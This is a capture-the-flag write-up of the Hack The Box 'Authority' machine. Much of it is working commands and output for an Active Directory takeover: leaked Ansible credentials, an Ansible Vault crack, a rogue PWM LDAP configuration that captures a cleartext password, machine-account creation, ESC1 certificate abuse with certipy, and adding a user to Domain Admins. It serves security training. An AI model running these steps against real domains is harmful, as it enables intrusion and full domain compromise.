Overview

The machine starts by enumerating an SMB share to find Ansible playbooks with leaked credentials and an Ansible Vault, cracking the vault master password to recover creds for a PWM instance to upload a malicious LDAP configuration and force it to leak the svc_ldap password in cleartext to get winrm, this account can add a computer account which combined with an ESC1-vulnerable ADCS template lets us request a certificate as Administrator and use an LDAP shell over the certificate to add ourselves to Domain Admins to get shell as NT AUTHORITY\SYSTEM

Enumeration

start with nmap scan

it is an AD enivronment with a lot to consider here

  • there is HTTP port exposed but it hosts the default IIS page
  • LDAP showing the DNS records to be authority.htb.corp htb.corp and HTB
  • there is and ADCS in place having the CA name htb-authority-CA
  • there is HTTPs on 8443 that have another IP as the issuer for the SSL
  • there is a big clock skew 4 hours just incase we needed to deal with Kerberos which is running on 88

first i will try to query all DNS records for this target

DNS

just to validate what we got also the hostname is authority so the FQDN is authority.authority.htb I start by looking where is Kerberos Service, we can also list LDAP doesn't matter

so setup the environment

bash 
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority]
└──╼ [★]$ echo '10.129.229.56   authority.htb authority.authority.htb htb.corp authority.htb.corp HTB' | sudo tee -a /etc/hosts
10.129.229.56   authority.htb authority.authority.htb htb.corp authority.htb.corp HTB
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority]
└──╼ [★]$ sudo ntpdate authority.
ntpdig: lookup of authority. failed, errno -2 = Name or service not known
ntpdig: no eligible servers
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority]
└──╼ [★]$ sudo ntpdate authority.htb
2026-06-22 16:58:42.220564 (-0700) +14400.007834 +/- 0.128618 authority.htb 10.129.229.56 s1 no-leap
CLOCK: time stepped by 14400.007834
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority]
└──╼ [★]$ sudo nxc smb 10.129.229.56 -u '' -p '' --generate-krb5-file /etc/krb5.conf
SMB 10.129.229.56 445 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.229.56 445 AUTHORITY [+] krb5 conf saved to: /etc/krb5.conf
SMB 10.129.229.56 445 AUTHORITY [+] Run the following command to use the conf file: export KRB5_CONFIG=/etc/krb5.conf
SMB 10.129.229.56 445 AUTHORITY [+] authority.htb\:
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority]
└──╼ [★]$

SMB

listing shares for the Guest Account

bash 
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority]
└──╼ [★]$ nxc smb 10.129.229.56 -u 'Guest' -p '' --shares
SMB 10.129.229.56 445 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.229.56 445 AUTHORITY [+] authority.htb\Guest:
SMB 10.129.229.56 445 AUTHORITY [*] Enumerated shares
SMB 10.129.229.56 445 AUTHORITY Share Permissions Remark
SMB 10.129.229.56 445 AUTHORITY ----- ----------- ------
SMB 10.129.229.56 445 AUTHORITY ADMIN$ Remote Admin
SMB 10.129.229.56 445 AUTHORITY C$ Default share
SMB 10.129.229.56 445 AUTHORITY Department Shares
SMB 10.129.229.56 445 AUTHORITY Development READ
SMB 10.129.229.56 445 AUTHORITY IPC$ READ Remote IPC
SMB 10.129.229.56 445 AUTHORITY NETLOGON Logon server share
SMB 10.129.229.56 445 AUTHORITY SYSVOL Logon server share
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority]

found a directory for ansible so lets download it

Automation Share

the most interesting one is the PWM directory

there is creds for ansible

plaintext 
cat ansible_inventory
ansible_user: administrator
ansible_password: Welcome1
ansible_port: 5985
ansible_connection: winrm
ansible_winrm_transport: ntlm
ansible_winrm_server_cert_validation: ignore

another for tomcat

plaintext 
cat templates/tomcat-users.xml.j2
<?xml version='1.0' encoding='cp1252'?>

<tomcat-users xmlns="http://tomcat.apache.org/xml" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
 version="1.0">

<user username="admin" password="T0mc@tAdm1n" roles="manager-gui"/>
<user username="robot" password="T0mc@tR00t" roles="manager-script"/>

</tomcat-users>

there is a user for the pwm called svc_pwm

some README file is leaking some passwords for PWM

in LDAP directory leaks one of the users password (for another domain but still worth testing)

bash 
 system_ldap_domain: aikatsu.net
    system_ldap_bind_dn: CN=Naoto Suzukawa,OU=Service Accounts,OU=Idol Schools,DC=Aikatsu,DC=net
    system_ldap_bind_password: sunrise
    system_ldap_search_base: OU=Idol Schools,DC=Aikatsu,DC=net
    system_ldap_uris:
      - ldaps://ldap-tyo.example.aikatsu.net:636
      - ldaps://ldap-ngo.example.aikatsu.net:636
    system_ldap_access_filter_groups:
      - CN=operations,OU=Security Groups,OU=Idol Schools,DC=Aikatsu,DC=net
    system_ldap_access_filter_users: []
    system_ldap_access_unix_groups:
      - operations
    system_ldap_sudo_groups:
      - operations
    system_ldap_sudo_users: []

trying to list users to password spray all passwords we got, returned only the svc_ldap user

possible usernames of the CN we got

plaintext 
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority]
└──╼ [★]$ username-anarchy Naoto Suzukawa | tee possible.txt
naoto
naotosuzukawa
naoto.suzukawa
naotosuz
naotsuzu
naotos
n.suzukawa
nsuzukawa
snaoto
s.naoto
suzukawan
suzukawa
suzukawa.n
suzukawa.naoto
ns

First i tried using username anarchy to test that user Naoto but didn't find any valid usernames

so lets move on to the port 8443, which is hosting PWM as we expected ss_20260622_173730.png

here is all what we got out of those notes, we might go back and look for configuration or something specific later

bash 
pwm -> root:password
ansible -> administrator:Welcome1

tomcat
admin:T0mc@tAdm1n
robot:T0mc@tR00t

LDAP
Naoto.Suzukawa:sunrise -> different DC though

trying to login with the default doesn't work so lets go back to the vault ss_20260622_174817.png

Ansible vault

one thing i didn't show earlier is this vault, cause i though we need a .valut_pass file to decrypt it but since we can't go anywhere lets try to crack one of these

so what you see above is 3 passwords, all encrypted using the master key so we need to crack this master key then we can get passwords out of it

so it doesn't matter which one to crack, all will lead to same master key

plaintext 
ldap_uri: ldap://127.0.0.1/
ldap_base_dn: "DC=authority,DC=htb"
ldap_admin_password: !vault |
          $ANSIBLE_VAULT;1.1;AES256
          63303831303534303266356462373731393561313363313038376166336536666232626461653630
          3437333035366235613437373733316635313530326639330a643034623530623439616136363563
          34646237336164356438383034623462323531316333623135383134656263663266653938333334
          3238343230333633350a646664396565633037333431626163306531336336326665316430613566
          3764

and as you can see it cracked so lets validate it

so built this python script to get data out of the vault

and as you can see using the ansible_vault password we can now get the passwords we need

plaintext 
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority/Development/Automation/Ansible/PWM/defaults]
└──╼ [★]$ python3 decrypt.py
[+] pwm_admin_login: svc_pwm
[+] pwm_admin_password: pWm_@dm!N_!23
[+] ldap_admin_password: DevT3st@123

first tested the ldap_admin_password on the svc_ldap leaked earlier from the error on PWM but it failed so now lets move on to PWM

bash 
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority/Development/Automation/Ansible/PWM/defaults]
└──╼ [★]$ nxc smb 10.129.229.56 -u svc_ldap -p 'DevT3st@12'
SMB 10.129.229.56 445 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 x64 (name:AUTHORITY) (domain:authority.htb) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.129.229.56 445 AUTHORITY [-] authority.htb\svc_ldap:DevT3st@12 STATUS_LOGON_FAILURE

PWM

so I've seen the same idea before but in Fries box i guess this file PwmConfiguration.xml is very dangerous to be leaked just because it has lines like this <property key="configPasswordHash">$2a$10$gC/eoR5DVUShlZV4huYlg.L2NtHHmwHIxF3Nfid7FfQLoh17Nbnua</property> which leaks the configuration manager interface password hash that they use to get to the state we are in right now where we can upload a configuration file which makes it more dangerous, but why ? because of this line

xml 
<setting key="ldap.serverUrls" modifyTime="2022-08-11T01:46:23Z" profile="default" syntax="STRING_ARRAY" syntaxVersion="0">
    <label>LDAP ⇨ LDAP Directories ⇨ default ⇨ Connection ⇨ LDAP URLs</label>
    <value>ldaps://authority.authority.htb:636</value>
</setting>

this line defines how does the PWM validation will be done, so this one connections to authority.authority.htb and that's why we couldn't connect earlier cause it tells us it can't find that LDAP directory but now cause we can upload a file of our own we can point that to LDAP to our device and forcing a login will try to connect with the svc_ldap account leaking its password (plain text cause we can make it LDAP)

ss_20260622_181803.png

now pointing this to our IP, lets upload it as a new configuration file

ss_20260622_182542.png

so lets click import to get it working ss_20260622_182842.png

and as you can see, authenticating with any password and any user doesn't really matter, returns the clean text password ss_20260622_183003.png

if we used LDAPS instead we would get something like this which we might be able to do some relaying with but why the trouble we got a clear text ss_20260622_183952.png

Shell as SVC_LDAP

and as you can see it is a valid authentication

bash 
─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority/Development/Automation/Ansible/PWM/defaults]
└──╼ [★]$ nxc ldap 10.129.229.56 -u svc_ldap -p lDaP_1n_th3_cle4r!
LDAP 10.129.229.56 389 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) (signing:Enforced) (channel binding:Never)
LDAP 10.129.229.56 389 AUTHORITY [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r!
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority/Development/Automation/Ansible/PWM/defaults]
└──╼ [★]$

it enforces LDAPS to be used so we have to specify the port for LDAPS with rusthound

looking at the bloodhound data the user is a member of Remote management users so lets login

and we got the user

bash 
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority/Development/Automation/Ansible/PWM/defaults]
└──╼ [★]$ evil-winrm -i 10.129.229.56 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> type ..\Desktop\user.txt
4ae41b63ca96991363b36a4331c23fc9
*Evil-WinRM* PS C:\Users\svc_ldap\Documents>

looking at the Certs Directory we get a pfx file, which is weird cause we didn't see any ADCS in our NMAP scan

bash 
*Evil-WinRM* PS C:\Certs> dir


    Directory: C:\Certs


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/23/2023 6:11 PM 4933 LDAPs.pfx

Privilege Escalation

because the ADCS ins't exposed externally we have to use Certify instead of tunneling, and as you can see there is a template vulnerable to ESC1

now just because we are sure there is a vulnerable template, lets get chisel running to use certipy instead

and as you can see it is working just fine

bash 
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority/Development/Automation/Ansible/PWM]
└──╼ [★]$ proxychains certipy find -dc-ip 10.129.229.56 -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -dns-tcp -vulnerable
ProxyChains-3.1 (http://proxychains.sf.net)
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 37 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 13 enabled certificate templates
[*] Finding issuance policies
[*] Found 21 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'AUTHORITY-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'AUTHORITY-CA'
[*] Checking web enrollment for CA 'AUTHORITY-CA' @ 'authority.authority.htb'
[!] Error checking web enrollment: [Errno 111] Connection refused
[!] Use -debug to print a stacktrace
[*] Saving text output to '20260622194759_Certipy.txt'
[*] Wrote text output to '20260622194759_Certipy.txt'
[*] Saving JSON output to '20260622194759_Certipy.json'
[*] Wrote JSON output to '20260622194759_Certipy.json'

there is something here, we don't have enrollment rights as svc_ldap but domain computers can

shell 
    Permissions
      Enrollment Permissions
        Enrollment Rights : AUTHORITY.HTB\Domain Computers
                                          AUTHORITY.HTB\Domain Admins
                                          AUTHORITY.HTB\Enterprise Admins

looking at privileges as svc_ldap we can add a computer account who can enroll

shell 
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

and we don't exceed our limit yet so lets add a computer

bash 
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority/Development/Automation/Ansible/PWM]
└──╼ [★]$ nxc ldap 10.129.229.56 -u svc_ldap -p 'lDaP_1n_th3_cle4r!' -M maq
LDAP 10.129.229.56 389 AUTHORITY [*] Windows 10 / Server 2019 Build 17763 (name:AUTHORITY) (domain:authority.htb) (signing:Enforced) (channel binding:Never)
LDAP 10.129.229.56 389 AUTHORITY [+] authority.htb\svc_ldap:lDaP_1n_th3_cle4r!
MAQ 10.129.229.56 389 AUTHORITY [*] Getting the MachineAccountQuota
MAQ 10.129.229.56 389 AUTHORITY MachineAccountQuota: 10
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority/Development/Automa

and it is added now

bash 
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority/Development/Automation/Ansible/PWM]
└──╼ [★]$ addcomputer.py -computer-name attach1 -computer-pass 'pass123!' -dc-ip 10.129.229.56 'authority.htb/svc_ldap:lDaP_1n_th3_cle4r!'
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

[*] Successfully added machine account attach1$ with password pass123!.

and we got a pfx for the administrator so lets connect

bash 
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority/Development/Automation/Ansible/PWM]
└──╼ [★]$ certipy req -u 'attacker$@authority.htb' -p 'pass123!' -dc-ip 10.129.229.56 -ca 'AUTHORITY-CA' -template 'CorpVPN' -upn 'administrator@authority.htb' -sid 'S-1-5-21-622327497-3269
355298-2248959698-500' -dns authority.htb
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Request ID is 2
[*] Successfully requested certificate
[*] Got certificate with multiple identities
    UPN: 'administrator@authority.htb'
    DNS Host Name: 'authority.htb'
[*] Certificate object SID is 'S-1-5-21-622327497-3269355298-2248959698-500'
[*] Saving certificate and private key to 'administrator_authority.pfx'
[*] Wrote certificate and private key to 'administrator_authority.pfx'

but trying to connect gets us that error of KDC doesn't support the padata type meaning the PKINIT isn't installed properly but we can get around that

bash 
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority/Development/Automation/Ansible/PWM]
└──╼ [★]$ certipy auth -pfx administrator_authority.pfx -dc-ip 10.129.229.56
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@authority.htb'
[*]     SAN DNS Host Name: 'authority.htb'
[*]     SAN URL SID: 'S-1-5-21-622327497-3269355298-2248959698-500'
[*]     Security Extension SID: 'S-1-5-21-622327497-3269355298-2248959698-500'
[*] Found multiple identities in certificate
[*] Please select an identity:
    [0] UPN: 'administrator@authority.htb' (administrator@authority.htb)
    [1] DNS Host Name: 'authority.htb' (authority$@htb)
> 0
[*] Using principal: 'administrator@authority.htb'
[*] Trying to get TGT...
[-] Got error while trying to request TGT: Kerberos SessionError: KDC_ERR_PADATA_TYPE_NOSUPP(KDC has no support for padata type)
[-] Use -debug to print a stacktrace
[-] See the wiki for more information

normally Certipy attempts a Kerberos PKINIT handshake over port 88 to request a Ticket Granting Ticket (TGT) and dump the NT hash As you saw, the KDC on this Domain Controller is throwing a KDC_ERR_PADATA_TYPE_NOSUPP error, meaning Kerberos authentication via certificates is completely disabled or unsupported on the DC

but with -ldap-shell Certipy bypasses Kerberos entirely and performs an LDAP External Bind directly over SSL (LDAPS port 636) using the certificate as the direct proof of identity the LDAP directory trusts the certificate explicitly, letting us straight in

now i added the user to Domain Admins group

bash 
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority/Development/Automation/Ansible/PWM]
└──╼ [★]$ certipy auth -pfx administrator_authority.pfx -dc-ip 10.129.229.56 -ldap-shell
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'administrator@authority.htb'
[*]     SAN DNS Host Name: 'authority.htb'
[*]     SAN URL SID: 'S-1-5-21-622327497-3269355298-2248959698-500'
[*]     Security Extension SID: 'S-1-5-21-622327497-3269355298-2248959698-500'
[*] Connecting to 'ldaps://10.129.229.56:636'
[*] Authenticated to '10.129.229.56' as: 'u:HTB\\Administrator'
Type help for list of commands

# add_user_to_group svc_ldap "Domain Admins"
Adding user: svc_ldap to group Domain Admins result: OK

and after logging in we can access that

bash 
┌─[]─[10.10.16.206]─[jimmex@attacker]─[~/htb/labs/authority]
└──╼ [★]$ evil-winrm -i 10.129.229.56 -u 'svc_ldap' -p 'lDaP_1n_th3_cle4r!'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_ldap\Documents> type ../../Administrator/Desktop/root.txt
a068ee322847fb8c090540e7a393a29d
*Evil-WinRM* PS C:\Users\svc_ldap\Documents>

Resources